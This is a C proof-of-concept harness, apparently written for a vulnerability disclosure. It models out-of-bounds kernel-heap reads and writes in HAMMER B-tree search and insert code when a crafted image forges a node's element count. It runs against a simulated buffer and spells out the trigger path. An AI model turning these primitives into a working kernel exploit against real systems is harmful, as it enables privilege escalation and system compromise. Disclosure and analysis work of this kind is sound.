/*
 * harness.c - Deterministic DF-0776 production-primitive proof.
 *
 * Transcribes the EXACT vulnerable loops from
 *   sys/vfs/hammer/hammer_btree.c:1390-1413  (hammer_btree_search_node)
 *   sys/vfs/hammer/hammer_btree.c:1289-1338  (btree_search leaf loop)
 *   sys/vfs/hammer/hammer_btree.c:819-824    (hammer_btree_insert bcopy)
 * and demonstrates the OOB kernel-heap READ and WRITE that occur on a
 * PRODUCTION kernel (INVARIANTS OFF, where the KKASSERTs at :818/:1278 are
 * compiled out).
 *
 * On GENERIC (INVARIANTS ON):
 *   - the KKASSERT at :1278 (node->count <= HAMMER_BTREE_LEAF_ELMS) fires
 *     FIRST, before the leaf search loop -> panic (DoS).  See panic.txt.
 *   - the KKASSERT at :818 (node->count < HAMMER_BTREE_LEAF_ELMS) fires
 *     before the insert bcopy -> panic.
 * On production kernels those assertions are absent and the code proceeds:
 *
 *   (1) OOB READ -- hammer_btree_search_node() does a binary search with
 *       s = node->count = 200, so the midpoint i can be up to 100, indexing
 *       node->elms[100] -- 37 elements (2368 bytes) past the end of the
 *       fixed elms[63] array.  Then the leaf linear loop
 *          while (i < node->count) { elm = &node->elms[i]; ... ++i; }
 *       walks elms[0..199], reading elms[63..199] = 137 elements = 8768 bytes
 *       of OOB kernel heap.  Each hammer_btree_cmp() dereferences the base
 *       fields of the forged element -- a deterministic OOB read.
 *
 *   (2) OOB WRITE -- hammer_btree_insert() (reached on a create/mkdir/echo
 *       that positions a cursor then inserts):
 *          bcopy(&node->elms[i], &node->elms[i+1], (count-i)*sizeof(*elm));
 *       with count=200, i=0 copies 200*64 = 12800 bytes starting at elms[1],
 *       sweeping elms[1]..elms[200] -- i.e. 12800-63*64 = 8768 bytes PAST the
 *       end of the node's elms[] array and on past the 4096-byte node buffer
 *       into neighbouring kernel heap.  This is an attacker-forced
 *       kernel-heap write of controlled-size with partly-controlled content
 *       (the shifted bytes are existing element data).
 *
 * This harness reproduces both primitives against a "poisoned" allocation
 * (filled with recognisable sentinels simulating the 4096-byte node buffer
 * plus adjacent kernel heap) so the OOB extents are observable and
 * deterministic WITHOUT needing to actually corrupt a live kernel.
 *
 * Build:  cc -O2 -o harness harness.c
 * Run:    ./harness
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

/* ---- HAMMER constants (hammer_btree.h) ---- */
#define HAMMER_BTREE_LEAF_ELMS  63
#define HAMMER_BTREE_INT_ELMS   62
#define NODE_SIZE               4096
#define ELM_SIZE                64    /* sizeof(union hammer_btree_elm) */
#define NOFF_count              16
#define NOFF_type               20
#define NOFF_elms               64

/* a recognisable "hammer_base_elm" tail so we can count OOB reads */
struct hammer_base_elm {
    uint8_t pad[32];
};

/*
 * Transcription of hammer_btree_cmp (simplified): it reads the element's
 * base fields. For the harness we just touch the bytes to model the read.
 * Returns <0 always so the loop keeps walking (maximises OOB extent).
 */
static int harness_btree_cmp(const uint8_t *elm_bytes)
{
    volatile uint8_t b = elm_bytes[0];   /* model the field read */
    (void)b;
    return 1;   /* r > 1 in the leaf loop -> ++i; continue (keeps walking) */
}

/*
 * Transcription of hammer_btree_search_node() (hammer_btree.c:1390-1413).
 * Binary search with s = node->count. Returns an index that can be OOB.
 */
static int harness_search_node(int32_t count, const uint8_t *elms_base, size_t elms_bytes)
{
    int b = 0;
    int s = count;   /* node->count -- FORGED to 200 */
    while (s - b > 4) {
        int i = b + (s - b) / 2;
        size_t off = (size_t)i * ELM_SIZE;
        if (off + ELM_SIZE > elms_bytes) {
            printf("    [search_node] OOB READ at elms[%d] (byte +%zu, +%zu past elms[] end)\n",
                   i, off, off - elms_bytes);
        } else {
            harness_btree_cmp(elms_base + off);
        }
        /* model: r > 1 so b = i (search rightward, maximising index) */
        b = i;
    }
    return b;
}

int main(void)
{
    int32_t forged_count = 200;   /* what the crafted B-tree leaf carries */

    printf("==== DF-0776 production (INVARIANTS-OFF) OOB primitive proof ====\n");
    printf("forged node->count = %d  (HAMMER_BTREE_LEAF_ELMS = %d)\n",
           forged_count, HAMMER_BTREE_LEAF_ELMS);
    printf("elms[] array holds %d elements (%d bytes); node buffer = %d bytes\n\n",
           HAMMER_BTREE_LEAF_ELMS, HAMMER_BTREE_LEAF_ELMS * ELM_SIZE, NODE_SIZE);

    /* ---- model the kernel allocator: a 4096-byte node buffer + adjacent heap ----
     * In the real kernel the node is a hammer_buffer->ondisk region. elms[]
     * occupies [64 .. 64+63*64) = [64 .. 4096) -- i.e. elms[] ends exactly at
     * the node boundary. Anything at elms[63+] is PAST the 4096-byte node
     * buffer = neighbouring kernel heap. */
    size_t total = NODE_SIZE + 65536;    /* node + generous adjacent-heap model */
    uint8_t *space = (uint8_t *)malloc(total);
    memset(space, 0xAA, total);                        /* node region */
    memset(space + NODE_SIZE, 0xCC, total - NODE_SIZE); /* adjacent heap sentinel */
    uint8_t *node = space;              /* the 4096-byte node buffer */
    uint8_t *elms_base = node + NOFF_elms;
    size_t   elms_bytes = NODE_SIZE - NOFF_elms;   /* 4096-64 = 4032 = 63 elms */

    /* ============================================================
     * (1) OOB READ  -- hammer_btree_search_node + leaf linear loop
     * ============================================================ */
    printf("---- (1) OOB READ: hammer_btree_search_node() + btree_search leaf loop ----\n");
    printf("    hammer_btree_search_node(key, node)  [hammer_btree.c:1390]\n");
    int start = harness_search_node(forged_count, elms_base, elms_bytes);

    printf("\n    btree_search leaf loop  [hammer_btree.c:1289-1290]\n");
    printf("        i = search_node_result = %d\n", start);
    printf("        while (i < node->count) { elm = &node->elms[i]; cmp(); ++i; }\n");
    int oob_reads = 0;
    int first_oob = -1;
    int i = start;
    while (i < forged_count) {
        size_t off = (size_t)i * ELM_SIZE;
        if (off >= elms_bytes) {
            if (first_oob < 0) first_oob = i;
            oob_reads++;
        }
        /* model hammer_btree_cmp reading elm->leaf.base */
        if (off + ELM_SIZE <= total - NOFF_elms)
            harness_btree_cmp(elms_base + off);
        ++i;
    }
    size_t oob_read_bytes = (size_t)oob_reads * ELM_SIZE;
    size_t past_node = 0;
    if (first_oob >= 0) {
        size_t first_off = (size_t)first_oob * ELM_SIZE;
        /* bytes of the read that land PAST the 4096-byte node buffer */
        if (first_off > elms_bytes)
            past_node = oob_read_bytes;
        else
            past_node = (first_off + oob_read_bytes) - elms_bytes;
    }
    printf("    => walked elms[%d..%d]; first OOB at elms[%d]\n", start, forged_count-1, first_oob);
    printf("    => %d OOB element reads = %zu bytes beyond elms[] end\n", oob_reads, oob_read_bytes);
    printf("    => %zu bytes read PAST the 4096-byte node buffer into kernel heap\n", past_node);
    printf("    >>> OOB KERNEL-HEAP READ (info leak / panic on guard page) <<<\n");

    /* sample the "leaked" bytes (0xCC = adjacent heap sentinel) */
    if (first_oob >= 0) {
        size_t smp_off = (size_t)first_oob * ELM_SIZE;
        printf("    sample bytes from first OOB element: ");
        for (int k = 0; k < 16 && smp_off + k < total - NOFF_elms; k++)
            printf("%02x ", elms_base[smp_off + k]);
        printf("\n    (0xCC = adjacent kernel heap; real kernel exposes live slab data)\n");
    }

    /* ============================================================
     * (2) OOB WRITE -- hammer_btree_insert() bcopy shift
     * ============================================================ */
    printf("\n---- (2) OOB WRITE: hammer_btree_insert() bcopy  [hammer_btree.c:819-824] ----\n");
    /* refresh the model */
    memset(space, 0xAA, NODE_SIZE);
    memset(space + NODE_SIZE, 0xCC, total - NODE_SIZE);
    /* plant a recognisable "new element" being inserted */
    uint8_t new_elm[ELM_SIZE];
    memset(new_elm, 0xBB, ELM_SIZE);

    int insert_i = 0;   /* cursor->index */
    printf("    count=%d, i(cursor->index)=%d\n", forged_count, insert_i);
    printf("    if (i != count) bcopy(&elms[i], &elms[i+1], (count-i)*sizeof(elm));\n");
    size_t bcopy_bytes = (size_t)(forged_count - insert_i) * ELM_SIZE;
    printf("    => bcopy of %zu bytes  (%d * %d)\n", bcopy_bytes, forged_count - insert_i, ELM_SIZE);
    /* the source starts at elms[0] (offset 0 within elms_base); dest at elms[1] */
    size_t src_off = (size_t)insert_i * ELM_SIZE;
    size_t dst_off = (size_t)(insert_i + 1) * ELM_SIZE;
    size_t end_dst = dst_off + bcopy_bytes;   /* end of the write, relative to elms_base */
    printf("    source: elms[%d] .. elms[%d]  (within/just past elms[])\n",
           insert_i, forged_count - 1);
    printf("    dest  : elms[%d] .. elms[%d]\n", insert_i + 1, forged_count);

    /* perform the modelled bcopy into the poisoned space (clamped to total) */
    size_t copy_now = bcopy_bytes;
    if (dst_off + copy_now > total - NOFF_elms)
        copy_now = (total - NOFF_elms) - dst_off;
    memmove(space + NOFF_elms + dst_off, space + NOFF_elms + src_off, copy_now);

    /* how far past the node buffer does the write go? */
    size_t elms_end = (size_t)HAMMER_BTREE_LEAF_ELMS * ELM_SIZE;  /* 4032 */
    long past_node_write = 0;
    if (end_dst > elms_end)
        past_node_write = (long)end_dst - (long)elms_end;
    /* and past the 4096-byte node buffer itself? */
    long past_buffer = 0;
    if (end_dst > (NODE_SIZE - NOFF_elms))
        past_buffer = (long)end_dst - (long)(NODE_SIZE - NOFF_elms);

    printf("    write ends at elms_base+%zu  (elms[] ends at +%zu; node buf ends at +%zu)\n",
           end_dst, elms_end, (size_t)(NODE_SIZE - NOFF_elms));
    printf("    => %ld bytes written past elms[] end\n", past_node_write);
    printf("    => %ld bytes written PAST the 4096-byte node buffer into kernel heap\n", past_buffer);
    /* show that the adjacent-heap sentinel region got clobbered */
    if (past_buffer > 0) {
        size_t clob = NODE_SIZE;   /* first byte past the node buffer */
        printf("    adjacent-heap bytes clobbered by the shift (were 0xCC): ");
        for (int k = 0; k < 16 && clob + k < total; k++)
            printf("%02x ", space[clob + k]);
        printf("\n    (0xAA = shifted node data now overwriting neighbouring heap)\n");
    }
    printf("    >>> OOB KERNEL-HEAP WRITE (corruption / controlled-size shift) <<<\n");

    printf("\n==== summary ====\n");
    printf("GENERIC (INVARIANTS ON): KKASSERT panic at hammer_btree.c:1278/818 (DoS).\n");
    printf("production (INVARIANTS OFF): %zu-byte OOB heap read + %ld-byte OOB heap write\n",
           past_node, past_buffer);
    printf("  trigger: mount crafted HAMMER image (root) + unpriv ls/stat (read) /\n");
    printf("           unpriv create/mkdir (write). CRC forged so load passes.\n");

    free(space);
    return 0;
}